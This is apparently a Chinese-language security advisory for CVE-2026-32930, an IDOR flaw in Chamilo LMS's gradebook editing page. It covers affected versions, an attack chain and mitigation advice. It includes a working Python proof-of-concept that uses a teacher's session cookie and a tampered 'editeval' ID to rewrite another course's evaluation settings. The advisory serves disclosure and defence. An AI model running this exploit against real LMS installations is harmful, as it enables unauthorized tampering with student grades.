IPBUF安全漏洞报告
English
CVE-2026-32930 CVSS 7.1 高危

CVE-2026-32930 Chamilo LMS IDOR漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-32930
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

IDORChamilo LMS越权访问权限绕过

漏洞概述

Chamilo LMS在1.11.38和2.0.0-RC.3之前的版本中存在不安全的直接对象引用(IDOR)漏洞。由于服务端未严格验证资源归属,任何已认证的教师均可通过篡改URL中的`editeval`参数,访问并修改任意其他课程的评估设置(如名称、最高分及权重),从而导致数据完整性风险。

技术细节

该漏洞的成因在于Chamilo LMS的成绩册编辑功能(`gradebook_edit_eval.php`)存在越权访问缺陷。当应用程序处理GET请求中的`editeval`参数时,仅检查了用户是否具备教师权限,而未验证该教师是否拥有对指定评估ID(Evaluation ID)的管理权。攻击者首先需获取一个低权限的教师账号,随后通过枚举或猜测获取目标课程的评估ID,并构造包含该ID的恶意请求发送至服务器。服务器接收请求后直接处理,导致攻击者能够跨课程修改关键成绩数据。这种缺乏对象层级访问控制的缺陷,使得攻击者能够横向移动,破坏整个系统的成绩数据完整性。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或获取一个合法的Chamilo LMS教师账号权限。
STEP 2
2. 信息收集
攻击者通过正常功能或猜测,确定目标课程的评估ID(editeval参数值)。
STEP 3
3. 构造恶意请求
攻击者向`gradebook_edit_eval.php`发送GET或POST请求,并在URL参数中植入目标课程的评估ID。
STEP 4
4. 执行越权操作
服务器由于未校验资源所有权,直接处理请求,导致攻击者成功篡改目标课程的评估设置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# POC for CVE-2026-32930 # This script demonstrates how an authenticated teacher can modify # evaluation settings of another course by exploiting the IDOR vulnerability. import requests def exploit_idor(target_url, session_cookie, target_eval_id): # Target endpoint for editing evaluation url = f"{target_url}/main/gradebook/gradebook_edit_eval.php" # Headers with authenticated session headers = { "Cookie": f"PHPSESSID={session_cookie}", "User-Agent": "Mozilla/5.0 (POC-Scanner)" } # The vulnerable parameter 'editeval' allows accessing any evaluation ID params = { "editeval": target_eval_id } # Data payload to modify the evaluation settings payload = { "name": "Hacked Evaluation", "max": "100", "weight": "999" } try: response = requests.post(url, headers=headers, params=params, data=payload) if response.status_code == 200: print("[+] Exploit successful! Evaluation settings likely modified.") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") # Usage # exploit_idor("http://target-lms.com", "valid_session_id", "1234")

影响范围

Chamilo LMS < 1.11.38
Chamilo LMS < 2.0.0-RC.3

防御指南

临时缓解措施
建议立即将Chamilo LMS升级至修复版本。若无法立即升级,应通过Web应用防火墙(WAF)限制对`gradebook_edit_eval.php`的访问,或在代码层面实施严格的权限检查,确保用户只能操作自己负责的课程评估。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表